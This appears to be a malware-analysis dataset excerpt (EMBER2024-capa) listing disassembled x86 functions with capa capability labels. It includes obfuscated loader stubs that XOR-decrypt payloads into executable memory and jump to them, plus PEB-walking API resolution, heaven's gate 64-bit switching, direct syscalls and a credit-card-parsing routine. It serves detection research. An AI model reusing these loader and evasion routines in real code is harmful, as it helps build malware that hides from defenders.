joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4030a7
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
push esi
push edi
mov esi, ecx
je 0x4030e8
lea eax, [ebp - 0x68]
push 0x64
push eax
push dword [ebp + 8]
call fcn.00402c6b
add esp, 0xc
test eax, eax
je 0x403206
lea eax, [ebp - 0x68]
mov dword [ebp + 8], eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edi, [ebp + eax - 0x68]
jmp 0x4030ee
mov dword [ebp + 8], ebx
lea edi, [ebp - 0x68]
and byte [edi + 1], 0
mov byte [edi], 0x31
call fcn.004023fd
mov ecx, dword [eax + 0xc]
push dword [ebp + 8]
neg ecx
sbb ecx, ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateMutexA]
and ecx, eax
push ecx
call ebx
test eax, eax
mov dword [esi + 4], eax
je 0x403206
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov byte [edi], 0x34
call fcn.004023fd
mov ecx, dword [eax + 0xc]
push dword [ebp + 8]
neg ecx
sbb ecx, ecx
push 4
push 0
and ecx, eax
push 4
push ecx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor ecx, ecx
mov dword [esi + 0x10], eax
cmp eax, ecx
je 0x403162
push ecx
push ecx
push ecx
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esi + 0x14], eax
mov byte [edi], 0x32
call fcn.004023fd
mov ecx, dword [eax + 0xc]
push dword [ebp + 8]
neg ecx
sbb ecx, ecx
push 0
and ecx, eax
push ecx
call ebx
mov dword [esi + 8], eax
mov byte [edi], 0x33
call fcn.004023fd
mov ecx, dword [eax + 0xc]
push dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventA]
neg ecx
sbb ecx, ecx
push 1
and ecx, eax
push 1
push ecx
call ebx
xor ecx, ecx
mov dword [esi + 0xc], eax
cmp dword [esi + 0x14], ecx
mov dword [ebp - 4], ecx
je 0x4031f0
cmp dword [esi + 8], ecx
je 0x4031f0
cmp eax, ecx
je 0x4031f0
push ecx
mov byte [edi], 0x30
call dword [sym.imp.KERNEL32.dll_SetLastError]
call fcn.004023fd
mov ecx, dword [eax + 0xc]
push dword [ebp + 8]
neg ecx
sbb ecx, ecx
push 0
and ecx, eax
push 1
push ecx
call ebx
test eax, eax
mov dword [esi], eax
je 0x4031f0
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov dword [ebp - 4], ecx
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [esi]
test eax, eax
jne 0x40320a
mov ecx, esi
call fcn.00403233
xor eax, eax
jmp 0x40322c
cmp dword [ebp - 4], 0
je 0x403220
mov eax, dword [esi + 0x14]
and dword [eax], 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_SetEvent]
jmp 0x403229
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10058bf0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, edx
xor eax, eax
cmp esi, 8
jb 0x10058c0f
push edi
shr edx, 3
mov edi, dword [ecx + 4]
sub esi, 8
xor edi, dword [ecx]
add ecx, 8
xor eax, edi
dec edx
jne 0x10058bfe
pop edi
cmp esi, 4
jb 0x10058c19
xor eax, dword [ecx]
add ecx, 4
and esi, 3
cmp esi, 2
jbe 0x10058c2a
movzx edx, byte [ecx]
shl edx, 0x10
xor eax, edx
inc ecx
cmp esi, 1
jbe 0x10058c36
xor edx, edx
mov dh, byte [ecx]
xor eax, edx
inc ecx
test esi, esi
pop esi
jbe 0x10058c40
movzx ecx, byte [ecx]
xor eax, ecx
ret

Function at 0x1006500b
Capabilities:
Parse credit card information

Disassembly:
mov edx, dword [ecx + 0x3c]
cmp edx, 2
jge 0x10065024
cmp byte [ecx + 0x42], 0
mov eax, dword [esp + 4]
je 0x10065089
cmp eax, 0x3f
jb 0x10065089
jmp 0x10065078
mov eax, dword [esp + 4]
cmp eax, 0x2c
jb 0x10065089
cmp edx, 3
jl 0x1006503c
cmp eax, 0x2c
jne 0x1006503b
push 0x48
jmp 0x10065088
dec eax
cmp edx, 4
jl 0x1006504b
cmp eax, 0x2c
jne 0x1006504a
push 0x49
jmp 0x10065088
dec eax
cmp eax, 0x3a
jb 0x10065089
cmp byte [ecx + 0x14], 0
je 0x1006506a
cmp eax, 0x3a
jne 0x1006505f
push 0x44
jmp 0x10065088
cmp eax, 0x3b
jne 0x10065068
push 0x45
jmp 0x10065088
dec eax
dec eax
cmp eax, 0x3f
jb 0x10065081
cmp byte [ecx + 0x42], 0
je 0x10065081
cmp eax, 0x3f
jne 0x1006507e
push 0x46
jmp 0x10065088
dec eax
jmp 0x10065089
cmp eax, 0x44
jne 0x10065089
push 0x47
pop eax
ret 4

Function at 0x10065112
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10065121
pop dword [ebp - 0x48]
mov eax, 0xb794429
add eax, 0x48d0cf8
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x44e6d
push 0
mov eax, 0x9f5647ac
add eax, 0x70b7487c
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0xfee5a1bc
sub ecx, 0xfee555db
xor ebx, ebx
add ebx, eax
mov edi, 0x84b07816
sub edi, 0x749e5a16
add edi, dword [ebp - 0x48]
mov edx, 0x1c224076
add edx, 0x157ac4f8
xor dword [ebp - 0x24], 0xd9966cc0
mov esi, dword [edi]
sub dword [ebp - 0x14], 0x54375f74
add esi, edx
mov dword [ebp - 0xc], 0xff2f696d
mov dword [ebx], esi
sub dword [ebp - 0x28], ebx
add ebx, 0x9992ddf9
add ebx, 0x666d220b
add edi, 0x1580bf09
sub edi, 0x1580bf05
loop 0x10065182
add eax, 0x8a7d79ac
add eax, 0x7583a8ab
mov ebx, eax
add eax, 0x6759243
add eax, 0xf98a6dc2
mov ecx, 0x48e08b52
add ecx, 0xc71f74ae
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x10066491
Capabilities:
Parse pe header

Disassembly:
cmp edx, 2
jb 0x100664d5
cmp byte [ecx], 0x4d
jne 0x100664d5
cmp byte [ecx + 1], 0x5a
jne 0x100664d5
cmp edx, 0x40
jb 0x100664d5
mov eax, dword [ecx + 0x3c]
cmp eax, 0x40
jb 0x100664d5
cmp eax, 0x1000
ja 0x100664d5
test al, 7
jne 0x100664d5
push esi
lea esi, [eax + 0x18]
cmp esi, edx
pop esi
ja 0x100664d5
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100664d5
cmp word [ecx + 0x14], 0x60
sbb eax, eax
inc eax
ret
xor al, al
ret
Function at 0x100030b9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10003548]
jne 0x10009f63
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x1000c4d0], eax
mov dword [0x1000c4cc], ecx
mov dword [0x1000c4c8], edx
mov dword [0x1000c4c4], ebx
mov dword [0x1000c4c0], esi
mov dword [0x1000c4bc], edi
mov word [0x1000c4e8], ss
mov word [0x1000c4dc], cs
mov word [0x1000c4b8], ds
mov word [0x1000c4b4], es
mov word [0x1000c4b0], fs
mov word [0x1000c4ac], gs
pushfd
pop dword [0x1000c4e0]
mov eax, dword [ebp]
mov dword [0x1000c4d4], eax
mov eax, dword [ebp + 4]
mov dword [0x1000c4d8], eax
lea eax, [ebp + 8]
mov dword [0x1000c4e4], eax
mov eax, dword [ebp - 0x320]
mov dword [0x1000c420], 0x10001
mov eax, dword [0x1000c4d8]
mov dword [0x1000c3d4], eax
mov dword [0x1000c3c8], 0xc0000409
mov dword [0x1000c3cc], 1
mov eax, dword [0x10003548]
mov dword [ebp - 0x328], eax
mov eax, dword [0x1000c198]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x1000c418], eax
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x1000a064
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x1000c418], 0
jne 0x1000a04f
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x10003de4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10003df3
pop dword [ebp - 0x18]
mov eax, 0xab7ccde5
sub eax, 0x9b7c8ff2
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xe6e14417
add dword [ebp - 0x28], 0x67710134
mov dword [ebp - 0x24], 0x447344a4
sub dword [ebp - 0x24], 0x123ff85f
mov dword [ebp - 0x20], 0xf15ecf4b
add dword [ebp - 0x20], 0x5aed74e3
mov dword [ebp - 0x1c], 0x9afe45cf
sub dword [ebp - 0x1c], 0x9afe45cf
lea eax, [ebp - 0x28]
push eax
mov eax, 0xca5f065
add eax, 0x35a2097
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x459aa991
sub dword [ebp - 0x28], 0xd128403b
mov dword [ebp - 0x24], 0xc506773e
sub dword [ebp - 0x24], 0x839a15c9
mov dword [ebp - 0x20], 0x9f67e524
add dword [ebp - 0x20], 0xc4078748
mov dword [ebp - 0x1c], 0x17041d97
sub dword [ebp - 0x1c], 0x17041d97
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x62b3a07c
add eax, 0xad4c7088
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3d044
push 0
call eax
mov ecx, 0x5597
mov ebx, eax
mov edi, 0x6a36acbb
add edi, 0xa5ca3b45
add edi, dword [ebp - 0x18]
mov edx, 0xed241978
sub edx, 0xb896f04c
add dword [ebp - 0xc], eax
mov esi, dword [edi]
sub dword [ebp - 4], 0xf7f9da4d
xor esi, edx
xor dword [ebp - 0xc], 0x8ddab4a7
mov dword [ebx], esi
xor dword [ebp - 4], ecx
add ebx, 0xacc553f7
add ebx, 0x533aac0d
add edi, 0x4e3e3c91
sub edi, 0x4e3e3c8d
loop 0x10003f0f
add eax, 0xd514f279
add eax, 0x2aec56b6
mov ebx, eax
add eax, 5
mov ecx, 0x1562902b
add ecx, 0xfa9d6fd5
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x10014f90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x10014f9f
pop dword [ebp - 0x20]
mov eax, 0x8ed04cdd
add eax, 0x813102c2
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xec55d816
sub dword [ebp - 0x30], 0x9e0392cb
mov dword [ebp - 0x2c], 0x9e6a6971
add dword [ebp - 0x2c], 0x93c8e2d4
mov dword [ebp - 0x28], 0x77a850c5
add dword [ebp - 0x28], 0xd4a3f369
mov dword [ebp - 0x24], 0xc39be135
add dword [ebp - 0x24], 0x3c641ecb
lea eax, [ebp - 0x30]
push eax
mov eax, 0x3782f7c3
sub eax, 0x27816773
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xc62fa6fa
sub dword [ebp - 0x30], 0x51bd3da4
mov dword [ebp - 0x2c], 0x545d87d3
sub dword [ebp - 0x2c], 0x12f1265e
mov dword [ebp - 0x28], 0x7485633d
sub dword [ebp - 0x28], 0x1115f6d1
mov dword [ebp - 0x24], 0xa849723f
sub dword [ebp - 0x24], 0xa849723f
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x136be0bb
add eax, 0xfc95af99
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x399e4
push 0
call eax
mov ecx, 0x2f1ab8b6
sub ecx, 0x2f1a644f
mov esi, eax
mov edx, 0x10021a00
add edx, dword [ebp - 0x20]
mov edi, 0xd536e4ec
add dword [ebp - 0x10], 0xb805ffe3
mov ebx, dword [edx]
mov dword [ebp - 0x18], 0xeef27d0e
xor ebx, edi
xor dword [ebp - 4], ecx
mov dword [esi], ebx
xor dword [ebp - 0x1c], 0x19847ad5
add esi, 4
add edx, 0x8a132ebd
sub edx, 0x8a132eb9
loop 0x100150b5
add eax, 0x60676c36
sub eax, 0x606627c7
mov ebx, eax
add eax, 0x202eb57a
sub eax, 0x202eb575
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x4010f0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
sub esp, 0x40
push ebx
push esi
push edi
test ecx, ecx
jle 0x401118
mov eax, dword [ebp + 0x10]
lea edx, [ebp + 0x18]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0xc], eax
jmp 0x401126
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
test ecx, ecx
jle 0x40113f
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x40114d
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
test ecx, ecx
jle 0x401166
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x401174
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
test ecx, ecx
jle 0x40118d
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x40119b
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov eax, edx
mov dword [ebp - 0x30], 0
cdq
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov word [ebp - 8], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call 0x4011e2
add dword [esp], 5
retf
Function at 0x4025a0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0xc08
push ebx
push ebp
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], edx
push esi
push edi
test ecx, ecx
je 0x4025eb
xor esi, esi
lea edi, [esp + 0x818]
mov al, byte [esi + ecx]
test al, al
je 0x4025db
cbw
inc esi
mov word [edi], ax
add edi, 2
cmp esi, 0x1ff
jb 0x4025c1
jmp 0x4025e0
xor eax, eax
mov word [edi], ax
lea edx, [esp + 0x818]
mov dword [esp + 0x10], edx
xor edi, edi
xor ebp, ebp
test edx, edx
je 0x40263b
mov edi, edx
lea ecx, [edi + 2]
jmp 0x402600
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x402600
sub edi, ecx
sar edi, 1
cmp edi, 0x200
jb 0x40261c
mov edi, 0x1ff
push edi
push edx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.004043d0
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x40265d
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x4026d0
mov esi, dword [ebx]
cmp esi, ebx
je 0x4026d0
test esi, esi
je 0x4026d0
cmp word [esi + 0x24], 2
jbe 0x4026ca
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x4026ca
cmp dword [esi + 0x18], 0
je 0x4026ca
test ebp, ebp
je 0x402685
cmp ebp, eax
jne 0x4026ca
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.004043d0
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4026aa
cmp eax, dword [esi + 0x18]
jne 0x4026ca
cmp dword [esp + 0x10], 0
je 0x4026dd
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.004029a0
add esp, 8
test eax, eax
je 0x4026dd
mov esi, dword [esi]
cmp esi, ebx
jne 0x402663
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc08
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc08
ret
Function at 0x402a00
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Get windows directory from kuser_shared_data

Disassembly:
mov eax, dword [0x7f7208]
sub esp, 0x20c
push ebp
mov ebp, ecx
push esi
push edi
test eax, eax
je 0x402bad
cmp dword [0x7f720c], 0
jne 0x402b99
xor eax, eax
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], ax
mov byte [esp + 0x1e], al
lea eax, [esp + 0x20]
push eax
call fcn.004026f0
add esp, 0xc
xor edi, edi
xor eax, eax
nop
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x402a50
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x18]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41a0d4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jb 0x402a60
xor esi, esi
xor edi, edi
xor edx, edx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [esp + esi + 0x18]
movzx eax, cl
add eax, edi
movzx edi, al
movzx eax, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edi + 0x18], cl
movzx eax, byte [esp + esi + 0x18]
movzx ecx, cl
add ecx, eax
movzx eax, cl
movzx eax, byte [esp + eax + 0x18]
xor al, byte [edx + 0x41a0d8]
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 0xb
jb 0x402a95
push 0x200
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.004026f0
mov edx, 0x7ffe0030
add esp, 0xc
xor ecx, ecx
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x402af4
sub edx, esi
sar edx, 1
je 0x402bad
mov esi, ebp
lea edi, [esi + 1]
mov edi, edi
mov al, byte [esi]
inc esi
test al, al
jne 0x402b10
sub esi, edi
add edx, 0xc
add edx, esi
cmp edx, 0x200
ja 0x402bad
xor eax, eax
push ebx
test edx, edx
je 0x402b48
movzx ebx, word [eax + eax + 0x7ffe0030]
test bx, bx
je 0x402b48
mov byte [esp + eax + 0x1c], bl
inc ecx
inc eax
cmp eax, edx
jb 0x402b31
xor eax, eax
test edx, edx
je 0x402b62
mov edi, edi
mov bl, byte [esp + eax + 0x10]
test bl, bl
je 0x402b62
mov byte [esp + ecx + 0x1c], bl
inc eax
inc ecx
cmp eax, edx
jb 0x402b50
xor eax, eax
test edx, edx
je 0x402b7f
lea ecx, [esp + ecx + 0x1c]
lea esp, [esp]
mov bl, byte [eax + ebp]
test bl, bl
je 0x402b7f
mov byte [ecx], bl
inc eax
inc ecx
cmp eax, edx
jb 0x402b70
push 8
push 0
lea eax, [esp + 0x24]
push eax
call dword [0x7f7208]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
push 0x800
push 0
push ebp
call eax
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x20c
ret
Function at 0x402bc0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], edx
xor ebp, ebp
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x402c1b
mov edi, ecx
lea edx, [edi + 2]
nop
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x402be0
sub edi, edx
sar edi, 1
cmp edi, 0x200
jb 0x402bfc
mov edi, 0x1ff
push edi
push ecx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.004043d0
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x402c3d
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x402caf
mov esi, dword [ebx]
cmp esi, ebx
je 0x402caf
test esi, esi
je 0x402caf
cmp word [esi + 0x24], 2
jbe 0x402ca9
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x402ca9
cmp dword [esi + 0x18], 0
je 0x402ca9
test ebp, ebp
je 0x402c65
cmp ebp, eax
jne 0x402ca9
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.004043d0
mov edx, dword [esp + 0x1c]
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
test edx, edx
je 0x402c8a
cmp edx, dword [esi + 0x18]
jne 0x402ca9
cmp dword [esp + 0x14], eax
je 0x402cbc
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.004029a0
add esp, 8
test eax, eax
je 0x402cbc
mov esi, dword [esi]
cmp esi, ebx
jne 0x402c43
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x808
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
Function at 0x4034e0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [0x7f8320]
sub esp, 0x11c
test eax, eax
jne 0x4035de
push ebx
push esi
push edi
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov word [esp + 0x2c], ax
lea eax, [esp + 0x30]
push eax
call fcn.004026f0
add esp, 0xc
xor edi, edi
xor eax, eax
lea ebx, [ebx]
mov byte [esp + eax + 0x28], al
inc eax
cmp eax, 0x100
jb 0x403530
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x28]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41a100]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x28]
mov byte [esp + esi + 0x28], al
inc esi
mov byte [esp + edi + 0x28], dl
cmp esi, 0x100
jb 0x403540
xor edi, edi
xor ebx, ebx
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x28]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
movzx eax, byte [esp + ebx + 0x28]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movzx eax, byte [esp + edi + 0x28]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x28]
xor al, byte [esi + 0x41a104]
mov byte [esp + esi + 0xc], al
inc esi
cmp esi, 0x1a
jb 0x403575
xor edx, edx
lea ecx, [esp + 0xc]
call fcn.00402bc0
pop edi
pop esi
pop ebx
test eax, eax
je 0x4035d9
mov eax, dword [eax + 0x18]
test eax, eax
je 0x4035d9
mov dword [0x7f8320], eax
add esp, 0x11c
ret
mov eax, dword [0x7f8320]
add esp, 0x11c
ret

Function at 0x403700
Capabilities:
Check os version

Disassembly:
mov ecx, 1
mov edx, 0x7f7348
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x403829
cmp dword fs:[0xc0], eax
je 0x40372b
mov dword [0x7f7344], 1
mov eax, dword fs:[0x18]
push ebx
push esi
mov ebx, 1
mov esi, dword [eax + 0x30]
mov eax, dword [esi + 0xa4]
mov dword [0x7f722c], eax
mov eax, dword [esi + 0xa8]
mov dword [0x7f7230], eax
movzx edx, word [esi + 0xac]
mov dword [0x7f7234], edx
mov eax, dword [esi + 0xb0]
mov dword [0x7f7238], eax
mov eax, dword [esi + 0x1f4]
test eax, eax
je 0x40378b
push 0x7f
push eax
push 0x7f723c
call fcn.004043d0
mov edx, dword [0x7f7234]
add esp, 0xc
jmp 0x403793
xor eax, eax
mov word [0x7f723c], ax
movzx eax, byte [esi + 0xaf]
mov ecx, 0xff
mov word [0x7f733c], ax
movzx eax, word [esi + 0xae]
and ax, cx
mov word [0x7f733e], ax
movzx eax, word [0x7ffe02d0]
mov word [0x7f7340], ax
mov ecx, eax
mov byte [0x7f7342], 0
cmp byte [0x7ffe0268], 0
je 0x4037da
mov ebx, dword [0x7ffe0264]
pop esi
mov byte [0x7f7342], bl
cmp ebx, 1
pop ebx
jne 0x4037f4
and ecx, 0xffef
mov word [0x7f7340], cx
test edx, edx
jne 0x403829
call fcn.00403700
cmp dword [0x7f722c], 6
ja 0x403829
jb 0x403811
cmp dword [0x7f7230], 4
jae 0x403829
call fcn.00403700
cmp dword [0x7f722c], 0xa
jae 0x403829
mov dword [0x7f7234], 1
ret
Function at 0x419942
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret
Function at 0x4681ec
Capabilities:
Get common file path
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00468063

Function at 0x100050d5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x100050e4
pop dword [ebp - 0x30]
mov eax, 0x1a1fcbf7
add eax, 0xf5e084ed
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xbf9cb6fa
add dword [ebp - 0x40], 0x8eb58e51
mov dword [ebp - 0x3c], 0x8e4d312c
add dword [ebp - 0x3c], 0xa3e61b19
mov dword [ebp - 0x38], 0x63f02e8
add dword [ebp - 0x38], 0x460d4146
mov dword [ebp - 0x34], 0xdf0ecc56
add dword [ebp - 0x34], 0x20f133aa
lea eax, [ebp - 0x40]
push eax
mov eax, 0x5ea57d45
sub eax, 0x4ea56cc5
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x429776d5
sub dword [ebp - 0x40], 0xce250d7f
mov dword [ebp - 0x3c], 0x958d0d45
sub dword [ebp - 0x3c], 0x5420abd0
mov dword [ebp - 0x38], 0x60b815da
sub dword [ebp - 0x38], 0xfd48a96e
mov dword [ebp - 0x34], 0xc797afb9
sub dword [ebp - 0x34], 0xc797afb9
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x38f25
push 0
call eax
mov ecx, 0x50e7
mov esi, eax
mov edi, 0xf88e57b0
add edi, 0x17723c50
add edi, dword [ebp - 0x30]
mov ebx, 0x17eed520
xor dword [ebp - 0x10], 0xa8f832a4
mov edx, dword [edi]
xor dword [ebp - 4], 0x11d26850
add edx, ebx
mov dword [esi], edx
add esi, 4
add edi, 0xf55e128b
sub edi, 0xf55e1287
loop 0x100051f5
add eax, 0x2177cf0
add eax, 0xfde9b97f
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x10005a45
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10004828]
jne 0x10005e2f
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x10007ad0], eax
mov dword [0x10007acc], ecx
mov dword [0x10007ac8], edx
mov dword [0x10007ac4], ebx
mov dword [0x10007ac0], esi
mov dword [0x10007abc], edi
mov word [0x10007ae8], ss
mov word [0x10007adc], cs
mov word [0x10007ab8], ds
mov word [0x10007ab4], es
mov word [0x10007ab0], fs
mov word [0x10007aac], gs
pushfd
pop dword [0x10007ae0]
mov eax, dword [ebp]
mov dword [0x10007ad4], eax
mov eax, dword [ebp + 4]
mov dword [0x10007ad8], eax
lea eax, [ebp + 8]
mov dword [0x10007ae4], eax
mov eax, dword [ebp - 0x320]
mov dword [0x10007a20], 0x10001
mov eax, dword [0x10007ad8]
mov dword [0x100079d4], eax
mov dword [0x100079c8], 0xc0000409
mov dword [0x100079cc], 1
mov eax, dword [0x10004828]
mov dword [ebp - 0x328], eax
mov eax, dword [0x1000717c]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x10007a18], eax
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x10004838
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x10007a18], 0
jne 0x10005f1b
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
